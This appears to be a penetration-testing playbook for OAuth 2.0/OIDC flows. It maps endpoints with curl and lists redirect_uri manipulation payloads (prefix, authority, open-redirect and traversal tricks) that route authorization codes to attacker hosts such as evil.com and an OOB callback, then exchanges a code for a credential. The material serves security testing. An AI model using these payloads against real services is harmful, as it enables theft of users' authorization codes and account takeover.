OAuth & OIDC Implementation Testing

Purpose

Exploit flawed OAuth 2.0/OIDC implementations: redirect manipulations that steal authorization codes, missing PKCE, replayable codes, cross-client token reuse, and unvalidated ID tokens, each confirmed by obtaining usable credentials for a victim context.

Preconditions

• The target's OAuth flow exercised end-to-end at least once (all four legs observed)
• A test client registration if available; otherwise attacker-side infrastructure to receive redirects (OOB callback domain)
• Understanding of which grant types are in play (code, implicit, ROPC, device)

Attack Surface Signals

• /authorize, /token, /introspect, /userinfo, .well-known/openid-configuration
• redirect_uri handling in the authorize request
• state, nonce, code_challenge parameters
• Tokens stored in URLs, sessionStorage, or transmitted to third parties

Methodology

Step 1: Map the Flow

curl -sk "https://TARGET/.well-known/openid-configuration" | jq '.authorization_endpoint, .token_endpoint, .scopes_supported'
# Walk the full code flow as the test user; record every parameter and redirect

Step 2: redirect_uri Manipulation

Exact match is the only safe validation. Test:
  prefix match:      redirect_uri=https://app.target.com.evil.com/callback
  substring match:   redirect_uri=https://app.target.com/callback/../../../redirect
  open redirect ch:  redirect_uri=https://app.target.com/redirect?to=https://OOB.oast.pro
  authority tricks: https://app.target.com@evil.com/  |  https://app.target.com#@evil.com
  scheme swaps:      http://app.target.com/callback  |  //evil.com
  path traversal:    https://app.target.com/callback/../../open

Confirm by RECEIVING code= on the off-domain destination, then exchange the code at the token endpoint to prove a usable credential, not just a redirect bounce.